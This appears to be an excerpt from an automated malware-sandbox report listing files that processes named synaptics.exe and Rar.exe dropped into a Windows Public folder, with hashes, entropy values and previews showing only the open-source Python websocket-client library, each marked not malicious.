Category:	dropped
Size (bytes):	19439
Entropy (8bit):	5.402801094079532
Encrypted:	false
SSDEEP:	384:hHJMnoF3eIfFDxNUbVr5mEtr0zSo0/3888tiYn:hHJMnoF3eIddNcrggqSo0/98ln
MD5:	9787965DF1835A7A87A17C25E287A9E9
SHA1:	F8B307DEA8E26EBC3020972BB0EA48A7FF32D414
SHA-256:	E6E20C680CEF12480B970E68D7191748E4E93D8532CA18101B2004F1DED16B25
SHA-512:	CCAFB454FB9AB7436074FE4A88581C67421109B663534B8D6962600ADE6DDD4066FFD647DC00B21DF65529C2199F12A6D633DC072CA159400A080ADC15FA443F
Malicious:	false
Reputation:	low
Preview:	o.........fp^.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.g.Z.d.a.d.e.d.d.f.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z G.d.d...d...Z!d.S.)......N)...Any..Callable..Optional..Union.....)..._logging)...ABNF)...WebSocket..getdefaulttimeout).."WebSocketConnectionClosedException..WebSocketException..WebSocketTimeoutException)...SSLEOFError)...parse_url..WebSocketApp..reconnectInterval..returnc....................C...s....\|.a.d.S...N)...RECONNECT).r......r.....@C:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\_app.py..setReconnect+...s......r....c....................@...sf...e.Z.d.Z.d.Z.d.e.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.S.)...DispatcherBasez.. DispatcherBase. ..app..ping_timeoutNr....c....................C...s....\|.\|._.\|.\|._.d.S.r....).r....r....)...selfr....r...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_cookiejar.cpython-310.pyc.71028512

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	5.107429666805262
Encrypted:	false
SSDEEP:	24:IYq+PHq2cYReITZg0ZVzD0oOBzttwutP5iIv0UdzcbVHckuxj7kV5ZFgrI:5lPlcBI7gPBzreIv0UdzMcLgV5KI
MD5:	38FA929CFCFFAAD6955999E2FE5771E3
SHA1:	9A93E24C6E5C2B2FA1ABA8FDF18A2A4C07BCAD05
SHA-256:	B87E648572FBA12A2D642823468818019D809052A8DCA59697ECA10B4F13E19E
SHA-512:	9E7655351F7D140EAB7818A1A898FC1D8FA135E90418B123C7FB59B98BC0B325036CEF9BCDFCBE3CF7EAD10573BB433772193765358F8748BA4761B5CED257F8
Malicious:	false
Reputation:	low
Preview:	o.........f_........................@...s(...d.d.l.Z.d.d.l.m.Z.....G.d.d...d...Z.d.S.)......N)...Optionalc....................@...sP...e.Z.d.Z.d.d.d...Z.d.e.e...d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.e.f.d.d...Z.d.S.)...SimpleCookieJar..returnNc....................C...s....i.\|._.d.S.).N)...jar)...self..r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\_cookiejar.py..__init__....s......z.SimpleCookieJar.__init__..set_cookiec....................C...s....\|.r=t.j...\|...}.\|.....D.]2}.\|...d.....}.r<\|...d...s.d.\|.....}.\|.j...\|...r+\|.j...\|...n.t.j.....}.\|...\|.....\|.\|.j.\|.....<.q.d.S.d.S...N..domain...)...http..cookies..SimpleCookie..values..get..startswithr......update..lower).r....r......simple_cookie..vr......cookier....r....r......add....s..................................z.SimpleCookieJar.addc....................C...sV...\|.r't.j...\|...}.\|.....D.].}.\|...d.....}.r&\|...d...s.d.\|.....}.\|.\|.j.\|.....<.q.d.S.d.S.r....).r....r....r....r....r....r....r....r....).r....r....r....r....r.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_core.cpython-310.pyc.71027792

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	18751
Entropy (8bit):	5.2601579536628655
Encrypted:	false
SSDEEP:	384:/5oj/9NgJvx938wlJYz2citggg7zXEjsVdTPe:/a9N+3rlO2ciU7DEYnTPe
MD5:	21A5CE6458B8B393E4B7BD05858DB681
SHA1:	66E1AACCE9603888307F851B50043D08D2DF40AD
SHA-256:	A972D2B9E252D9FACEFB014E686DBF354BE298CA4C870A9DA00F881D3124EF27
SHA-512:	5A162829A9A91AD683EE776AB98E2C834461DD7AE32BF746CB5C54095736EFFE1F6C770217B6595629B085FEA003B1E39779B53581BB30FC2BACBA9C8E155E61
Malicious:	false
Reputation:	low
Preview:	o.........fXR.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l m!Z!..d.d.l"m#Z#....d.d.g.Z$G.d.d...d...Z%d.e%f.d.e&f.d.d...Z'd.S.)......N)...Optional..Union.....)...ABNF..STATUS_NORMAL..continuous_frame..frame_buffer)...WebSocketProtocolException."WebSocketConnectionClosedException)...SUPPORTED_REDIRECT_STATUSES..handshake)...connect..proxy_info)...debug..error..trace..isEnabledForError..isEnabledForTrace)...getdefaulttimeout..recv..send..sock_opt)...ssl)...NoLock..WebSocket..create_connectionc....................@...s ...e.Z.d.Z.d.Z.............dPd.e.d.e.d.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.e.e.e...Z.d.d...Z.e.e...Z.d.d...Z.e.e...Z.d.d...Z.d d!..Z.e.e...Z.d"d#..Z.e.j.f.d$e.e.e.f...d%e.d.e.f.d&d'..Z.d(e.d.e.f.d)d*..Z.d+e.e.e f...d.e.f.d,d-..Z!d.e.f.d.d/..Z"d$e.d.e

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_exceptions.cpython-310.pyc.71103136

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2940
Entropy (8bit):	5.121989315034816
Encrypted:	false
SSDEEP:	48:rJC9Vw3WRenl4+h0CH31KO8ZpKJjznx8uDCDcDHMjk9LQVR3qh89CK:c9Vw3Cenl4s3HFKDZpsztDAcDsMQH79B
MD5:	21EA6D626CB87B6B23F719C05BE63BD7
SHA1:	6A5563FEFBF089F3493207051ED92ADF8FFDF95B
SHA-256:	982F189065EA6D8AAC61CF721F8CED8EE717F0803A1B69BA952FAA8A3144A9B9
SHA-512:	BFE15CCFE7DE580BE7F0DE52E48035DD4EF31A3C6DE1A793EF03C161D1BCE47BB8858FD2C12FBFB0568FDD61C635E052EAAD719597BFE8E026CFEC5E10420566
Malicious:	false
Reputation:	low
Preview:	o.........f.........................@...s....d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).ae...._exceptions.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..c....................@........e.Z.d.Z.d.Z.d.S.)...WebSocketExceptionz$. WebSocket exception class.. N....__name__..__module__..__qualname__..__doc__..r....r.....GC:\Users\Public\QExvbmVOb25l\l

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_handshake.cpython-310.pyc.71028032

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5693
Entropy (8bit):	5.69047276580604
Encrypted:	false
SSDEEP:	96:bZr4s3HFKqfGn4zflfe8mtj6my9mZH5yEG/Zd2ROHvNI2Mr6uURW8R6:1r33HxO4zfc8IHChd+qhRPR6
MD5:	9E34B36B0ED9C5FC4800426B9434E3A9
SHA1:	9521174353C433EB567FDAD1E51E937542157F1A
SHA-256:	F89812DDF3CA6E2BAB1807605188EDCEFD66886361067ECF5136BE3548DE0524
SHA-512:	D89B430C7E0E874D18820C1AF9BD2D821A186EB88D4AD453239636D18EE4909A88500C14FB19AF25BF6F1AB4583E269C592D6C76965BA50CBB0238FA6A41D048
Malicious:	false
Reputation:	low
Preview:	o.........f.........................@...sR...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.e.j.e.j.e.j.e.j.e.j.f.Z.e.e.j.f...Z.e...Z.G.d.d...d...Z d.e!d.e!d.e"d.e!d.e f.d.d...Z#d.e!d.e!f.d.d...Z$d.e!d.e!d.e!d.e"d.e%d.e&f.d.d...Z'e.f.d.e&d.e&f.d.d...Z(d.d d!..Z)d"e!d.e&f.d#d$..Z*d.e!f.d%d&..Z+d.S.)'ad...._handshake.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the Licens

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_http.cpython-310.pyc.70590496

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8100
Entropy (8bit):	5.658839581302532
Encrypted:	false
SSDEEP:	192:G33HeL4DWl5HfG443QYGo3R0wTk9SJXg2QhkmYeG:G3E4DWl5/23QYGoh0icdkveG
MD5:	B7F1CBD1E15EA065CC3803D71F31970D
SHA1:	1C01AA68D244FE3005763D6BC051979BA75DA10E
SHA-256:	360706C6237789E2DF88FE1D364FDD51875BA2E54E75999285345534733724F3
SHA-512:	D23CE8BD73E752051BAE2CF065EBE4DBAE7043C38876173525425D59DB57B04F88905CFD7DF1F5F450F000B856FBE83AB6C420129855E460156E4161FD679C58
Malicious:	false
Reputation:	low
Preview:	o.........f.2.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.Z.W.n.......d.Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"G.d.d...d.e ..Z#Y.G.d.d...d...Z$d.e%d.e&f.d.d...Z'd.e%f.d.d...Z(d.e)d.ed.e&f.d d!..Z+d"d#..Z,d$e.j.d%e-f.d&d'..Z.d$e.j.d(e-f.d)d..Z/d$e.j.d.e)d.e.j.f.d+d,..Z0d$e.j.d.e&f.d-d...Z1d.S.)/a_...._http.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specifi

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_logging.cpython-310.pyc.71027672

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2429
Entropy (8bit):	4.742769130722236
Encrypted:	false
SSDEEP:	48:93spkf0YgURvDMDzDf+h3X0V3fFxksmtOX5uPJPZXrnquoGgBED:92i0Yg803W3X0VvqtOX5uPJBloGgB4
MD5:	01AEED6E6CD548FF5EAE4AD7071933FD
SHA1:	67D7D3C0A7C92E39F9402EE2936A9E7C3A8C3F3B
SHA-256:	C615AB11870F9324CD37D33BD1F4D08D673C835FD5AC844861D2FE2937D6AA3F
SHA-512:	AD32701A38C6FDCD1880C695B68D9278B4A0CE565A695D00FD371ECDCCC956A5DC8517BF6163C59237D1BDB58F3101F3B6BCA01D4BAF04E73C5C5B260D0EDD66
Malicious:	false
Reputation:	low
Preview:	o.........f.........................@...s&...d.d.l.Z...e...d...Z.z.d.d.l.m.Z...W.n...e.y$......G.d.d...d.e.j...Z.Y.n.w.e...e.......d.a.g.d...Z.e.....d.f.d.e.d.e.j.d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d d!..Z.d.e.f.d"d#..Z.d.S.)$.....N..websocket)...NullHandlerc....................@...s....e.Z.d.Z.d.d.d...Z.d.S.).r......returnNc....................C...s....d.S...N..)...self..recordr....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\_logging.py..emit...........z.NullHandler.emit).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....F)...enableTrace..dump..error..warning..debug..trace..isEnabledForError..isEnabledForDebug..isEnabledForTrace..DEBUG..traceable..handler..levelr....c....................C...s*...\|.a.\|.r.t...\|.....t...t.t.\|.......d.S.d.S.).z.. Turn on/off the traceability... Parameters. ----------.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_socket.cpython-310.pyc.70590616

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4051
Entropy (8bit):	5.416582834388625
Encrypted:	false
SSDEEP:	96:JJkFTFnpUXHQ9VTyHLDPEoFgTHX+S6VAqcm1MlMfs:JyhnmXoTUsoUuSE11IMfs
MD5:	0F40BBC4ABF7B82C0F89D9BEC7C67E98
SHA1:	FDE5942299FF94C32F4FCB18B000578374553C26
SHA-256:	86CC577D5193C131FD5C8555DE8D8FC0330FC02CE198D24FFAFEFA839FBA70E5
SHA-512:	08220A36FE987ED0C94F1C5AA6142DF02DB49C25073952931D771E332DA14787CF397F8FB741F02EA5AE809CA8C1784D5C53F88D56B48B7DA642CDDEAD65B276
Malicious:	false
Reputation:	low
Preview:	o.........fN........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.....e.j.e.j.d.f.g.Z.e.e.d...rDe...e.j.e.j.d.f.....e.e.d...rSe...e.j.e.j.d.f.....e.e.d...rbe...e.j.e.j.d.f.....e.e.d...rqe...e.j.e.j.d.f.....d.a.g.d...Z.G.d.d...d...Z.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.j.d.e.d.e f.d.d...Z!d.e.j.d.e f.d.d...Z"d.e.j.d.e.e e#f...d.e.f.d.d...Z$d.S.) .....N)...Union.....).."WebSocketConnectionClosedException..WebSocketTimeoutException)...SSLError..SSLWantReadError..SSLWantWriteError)...extract_error_code..extract_err_message..SO_KEEPALIVE..TCP_KEEPIDLE.......TCP_KEEPINTVL.......TCP_KEEPCNT.....)...DEFAULT_SOCKET_OPTION..sock_opt..setdefaulttimeout..getdefaulttimeout..recv..recv_line..sendc....................@...s"...e.Z.d.Z.d.e.d.e.d.d.f.d.d...Z.d.S.).r......sockopt..sslopt..returnNc....................C...s....\|.d.u.r.g.}.\|.d.u.r.i.}.\|.\|._.\|.\|._.d.\|._.d.S...N).r....r......timeout)...selfr....r......r.....C

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_ssl_compat.cpython-310.pyc.71104416

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1504
Entropy (8bit):	5.231969165830796
Encrypted:	false
SSDEEP:	24:YiToV7RkwGW7mTzhZl4IpheU0E+4HQk1Gps2B5OBD8TONq5HJu2OeuxHb:D07aLUI4+h0CH31KN0BQTvVfyb
MD5:	CB57598270B045478A23D723F0C08925
SHA1:	835D0F20FF959D957B2D894B963C3B5674628D3F
SHA-256:	80E5909A29883D437F293845472EFAA9D489900C12CABDA0BC3E073F325DC8E0
SHA-512:	893CF1E7594C64BAF838EA0285D6D215A1BD197E3E6006AD4BC1C9A2F390D3CAB9CB591FA3E4088F155FD7D5C9C0205DFA3938EBBD9323812EF8EB10AF338D50
Malicious:	false
Reputation:	low
Preview:	o.........f.........................@...s....d.Z.g.d...Z.z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.Z.W.d.S...e.yI......G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.Y.d.S.w.).ae...._ssl_compat.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..)...HAVE_SSL..ssl..SSLError..SSLEOFError..SSLWantReadError..SSLWantWriteError.....N).r....r....r....r....Tc....................@........e.Z.d.Z.d.S.).r....N....__name__..__module__..__qu

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_url.cpython-310.pyc.70590616

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4367
Entropy (8bit):	5.500850419682739
Encrypted:	false
SSDEEP:	96:klQBQRosjToIzsNAuT/ceAxr6UYtSwGJBBK9WFSuGZDgQ:TBQRRXBIkB2UYPQkqGZ
MD5:	7005371AE2BB78841891EF92AB5E5752
SHA1:	167AAE6084F3987B8169FC29ECDF68F1F837A210
SHA-256:	A9EA089C77E4596310E77FA9E4B403D0FAEACFDD92DEF0E551506336C7755243
SHA-512:	7D1ADF82D23A96AF34FCCF47D1CA9A64A0BEDA9CB2DA947EBC5A67D8AD5AD2F06FE38C5A2EA510FD43822815543A9672C836820563C9869D40F9E410883DA2B2
Malicious:	false
Reputation:	low
Preview:	o.........f.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....d.d.g.Z.d.e.d.e.f.d.d...Z.d.d.g.Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.e...d.e.f.d.d...Z...........d!d.e.d.e.d.e.e...d.e.d.e.e...d.e.e...d.e.d.e.f.d d...Z.d.S.)".....N)...Optional)...unquote..urlparse.....)...WebSocketProxyException..parse_url..get_proxy_info..url..returnc....................C...s....d.\|.v.r.t.d.....\|...d.d...\.}.}.t.\|.d.d...}.\|.j.r.\|.j.}.n.t.d.....d.}.\|.j.r)\|.j.}.d.}.\|.d.k.r4\|.s3d.}.n.\|.d.k.r?d.}.\|.s>d.}.n.t.d.\|.......\|.j.rL\|.j.}.n.d.}.\|.j.rY\|.d.\|.j.....7.}.\|.\|.\|.\|.f.S.).z.. parse url and the result is tuple of. (hostname, port, resource path and the flag of secure mode).. Parameters. ----------. url: str. url string.. ..:z.url is invalidr......http)...schemez.hostname is invalidr....F..ws.P.....wssTi....z.scheme %s is invalid../..?)...ValueError..splitr......hostname..port..path..query).r....r......parse

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\pycache\_utils.cpython-310.pyc.71025752

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4085
Entropy (8bit):	4.077867033704649
Encrypted:	false
SSDEEP:	48:3xFBpqD0ey3vxQkJxriXOTwJSPe1IHcO6GA9PYR:3xFBpo0ey+k/rUOTOSP+IP6GnR
MD5:	F426432B1343D6B49993DEC627231894
SHA1:	3E521B29DB1328679565367C13D0F0A7D9A332AF
SHA-256:	F37DFD47C5A47A2F78D65513DCF21F921D810F16B626FFA6D538551832D95E11
SHA-512:	A14DC0A8EFFA77DDCDFCD22A01404353369156E126397077E1AF1B031807EEA92642CB5D0232C023C07987044F755A03A7FF33D2068B9E2386FC046AAD489435
Malicious:	false
Reputation:	low
Preview:	o.........f1........................@...s....d.d.l.m.Z.....g.d...Z.G.d.d...d...Z.z.d.d.l.m.Z...d.e.e.e.f...d.e.f.d.d...Z.W.n+..e.yR......d.Z.d.Z.g.d...Z.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.e.e.f...d.e.f.d.d...Z.Y.n.w.d.e.e.e.f...d.e.f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.S.)......)...Union)...NoLock..validate_utf8..extract_err_message..extract_error_codec....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.).r......returnNc....................C........d.S...N..)...selfr....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\websocket\_utils.py..__enter__...........z.NoLock.__enter__c....................C...r....r....r....).r......exc_type..exc_value..tracebackr....r....r......__exit__....r....z.NoLock.__exit__).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r....)...Utf8Validator..utfbytesr....c....................C...s....t.....\|...d...}.\|.S...Nr....).r......validate).r......resultr....r....r......_validate_u

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_abnf.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14385
Entropy (8bit):	4.848807375084742
Encrypted:	false
SSDEEP:	384:pz3s/K8Qo2YlU99tCkBizTFEeoS+wWg9tCt:pzcS8RYg9tS
MD5:	8ADD410E88A5612988C997819E4655AA
SHA1:	554BDA7F3021E07FE1D4E24AA7E00EB43E5A66CB
SHA-256:	59EB14252486491A73B93A7455E2B5D8EE1261854C37A0B237A6EA5D2E25936C
SHA-512:	7642448A35DFD7623F355DF22D1FAA3B70A6B5FC17B1AF06F445154DDEDA3139DE02FB80AF24D09CEC0B109BA5687C5BDC320AD3E1E1500B0C9A567DFFBF953D
Malicious:	false
Reputation:	low
Preview:	import array.import os.import struct.import sys.from threading import Lock.from typing import Callable, Optional, Union..from ._exceptions import WebSocketPayloadException, WebSocketProtocolException.from ._utils import validate_utf8.."""._abnf.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..try:. # If wsaccel is available, use compiled routines to mask data.. # wsaccel only provides around a 10% speed boost compared. # to the web

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_app.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24176
Entropy (8bit):	4.286112006590021
Encrypted:	false
SSDEEP:	192:RY33H5ut9dsRexb5nbREZv53vmk5d5z5RMyRM6syfl9757OdbZARyCfk3LTvjn2N:a329zbkLjlq/CdTGr5t83qZRfWboU
MD5:	969ACCA2E09B43CFCD8BD9AB6F4436D3
SHA1:	87FE009278EFA0E6F03CE7AC254C8297D1698AA0
SHA-256:	C4202568CD857EC3CBB1A12C0465E1760E289470C413389FEA595259E7C7726F
SHA-512:	3D74257EC9DD09F24FED72DA4F9F857B6E91D35641164D5B98700CD2B212A082D439F8F841A4D6C37D28665DAD459305534572DCA127F02FD9555A7E05BD6E0C
Malicious:	false
Reputation:	low
Preview:	import inspect.import selectors.import socket.import threading.import time.from typing import Any, Callable, Optional, Union..from . import _logging.from ._abnf import ABNF.from ._core import WebSocket, getdefaulttimeout.from ._exceptions import (. WebSocketConnectionClosedException,. WebSocketException,. WebSocketTimeoutException,.).from ._ssl_compat import SSLEOFError.from ._url import parse_url.."""._app.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_cookiejar.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2399
Entropy (8bit):	4.233025812751045
Encrypted:	false
SSDEEP:	48:s4+h0CH31KZNoP0plP7SgYnrXc0plP7xNf9YSkPEM59KERxcv:s4s3HFKZNoP0pjYQ0p5ET53zcv
MD5:	ADF0E1D2B7019795A0A0097E95A88EA1
SHA1:	90D7BA8C28A84D5458415F0992FFBE100A524952
SHA-256:	F3DDD25A81E693F272B225E3F259322F2F79728E73BEE0BAD9718CAEF9A023B1
SHA-512:	B484D26A9E80248E7FE6799C8EF2D22042FA5E03263D4576372A9FF151FCCBF787B9E1F7CDFDCD17E3F518093EF6A17C4282DDFBC63FDC7D501604D59BC4E121
Malicious:	false
Reputation:	low
Preview:	import http.cookies.from typing import Optional.."""._cookiejar.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""...class SimpleCookieJar:. def __init__(self) -> None:. self.jar: dict = {}.. def add(self, set_cookie: Optional[str]) -> None:. if set_cookie:. simple_cookie = http.cookies.SimpleCookie(set_cookie).. for v in simple_cookie.values():. if domain := v.get("domain"):.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_core.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21080
Entropy (8bit):	4.424175697192212
Encrypted:	false
SSDEEP:	384:ep3q/9NgJ78wiWKWz2hX1RU6+Dv0qeVdTu:Gm9N2rT2x50vUnTu
MD5:	DBF9560EAB036E84ED3D64748AAD031A
SHA1:	64D0E416525D14BC6DA74785123344DBDCE6FC65
SHA-256:	3FE95873093E2CA254283A8195E26C9914882635F6BFFA381689E074961B867F
SHA-512:	EF5E60E7742778309BBD7A368451FC3C089D6F24EB819C61D9D784540A664D25D389EA837C832B549A9403D79166694557B445CF1EC75FA93E8016B1FB878952
Malicious:	false
Reputation:	low
Preview:	import socket.import struct.import threading.import time.from typing import Optional, Union..# websocket modules.from ._abnf import ABNF, STATUS_NORMAL, continuous_frame, frame_buffer.from ._exceptions import WebSocketProtocolException, WebSocketConnectionClosedException.from ._handshake import SUPPORTED_REDIRECT_STATUSES, handshake.from ._http import connect, proxy_info.from ._logging import debug, error, trace, isEnabledForError, isEnabledForTrace.from ._socket import getdefaulttimeout, recv, send, sock_opt.from ._ssl_compat import ssl.from ._utils import NoLock.."""._core.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS I

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_exceptions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	4.694646566674817
Encrypted:	false
SSDEEP:	24:lZl4IpheU0E+4HQk1Gps2+KJHRXHNJu8u8jZAG90ocFYmBklxakJvf:94+h0CH31KaKJFC8uY90ocFNYk6X
MD5:	68CB66FEF8444FC72E4E3B11426A8E9A
SHA1:	545638D7B8823EE10376105E7A6E2A83E0FA81CE
SHA-256:	AFB946682F18D9BAC19DA2BF6092510DD618E940865B1397A10B0C720145789E
SHA-512:	05CC7BC26B54393EBCEA9BC29AAA2649FC04838D8E6E002997FEFAF24B035081ACFE98FCE6554477A42A0FDD2D6262BBFD1C63E402AC2ACFB018FB12F3359DB4
